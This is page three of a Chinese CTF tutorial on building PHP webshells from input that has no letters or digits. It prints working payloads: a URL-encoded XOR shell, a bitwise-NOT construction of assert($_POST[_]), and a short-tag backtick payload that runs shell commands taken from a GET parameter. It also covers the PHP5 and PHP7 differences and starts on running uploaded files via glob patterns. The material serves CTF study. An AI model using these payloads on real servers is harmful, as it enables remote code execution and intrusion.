主页 > 网络知识 > 浅析CTF绕过字符数字构造shell(3)

浅析CTF绕过字符数字构造shell(3)

 

浅析CTF绕过字符数字构造shell

 

%24%5f%3d%22%21%28%28%25%29%28%22%5e%22%40%5b%5b%40%5b%5c%5c%22%3b%24%5f%5f%3d%22%21%2b%2f%28%28%22%5e%22%7e%7b%60%7b%7c%22%3b%24%5f%5f%5f%3d%24%24%5f%5f%3b%24%5f%28%24%5f%5f%5f%5b%5f%5d%29%3b

 

浅析CTF绕过字符数字构造shell

 

第三种方法
<?php $a = urlencode(~'assert'); echo $a; //%9E%8C%8C%9A%8D%8B $b = urlencode(~'_POST'); //%A0%AF%B0%AC%AB <?php $_ = ~"%9e%8c%8c%9a%8d%8b";   //得到assert,此时$_="assert" $__ = ~"%a0%af%b0%ac%ab";   //得到_POST,此时$__="_POST" $___ = $$__;   //$___=$_POST $_($___[_]);   //assert($_POST[_]) ?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);

 

浅析CTF绕过字符数字构造shell

 

PHP5和7的区别

 

PHP5中,assert()是一个函数,我们可以用=assert;_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。但PHP7.0.12下还能这样调用。

 

 

 

浅析CTF绕过字符数字构造shell

 

 

 

浅析CTF绕过字符数字构造shell

 

 

浅析CTF绕过字符数字构造shell

 

 

浅析CTF绕过字符数字构造shell

 

 

浅析CTF绕过字符数字构造shell

 

 

浅析CTF绕过字符数字构造shell

 

PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')();

 

浅析CTF绕过字符数字构造shell

 

 

浅析CTF绕过字符数字构造shell

 

 

浅析CTF绕过字符数字构造shell

 

 

浅析CTF绕过字符数字构造shell

 

过滤了_ ?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>

分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。

 

浅析CTF绕过字符数字构造shell

 

 

 

过滤了$ PHP7

在PHP7中,我们可以使用($a)()这种方法来执行命令。所以可以用取反构造payload执行命令。(~%8F%97%8F%96%91%99%90)();执行phpinfo函数,第一个括号中可以是任意的表达式。但是这里不能用assert()来执行函数,因为php7不支持assert()函数。

PHP5

在PHP5中不再支持($a)()方法来调用函数,在膜拜P神的无字母数字webshell之提高篇后,有了新的启发。如何在无字母,数字,$的系统命令下getshell?我们利用在Linux shell下两个知识点

1,shell下可以利用.来执行任意脚本

2,Linux文件名支持glob通配符代替

 

浅析CTF绕过字符数字构造shell

 

从图可以看出,我们可以成功用.+文件名来执行文件,但是当使用通配符来执行文件时,系统会执行匹配到的第一个文件。

在这两个条件下我们可以想到,如果我们可以上传一个文件,用.来执行这个文件就可以成功getshell。

那么我们怎么上传文件呢?上传文件成功后文件又保存在哪里?怎么匹配执行?

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!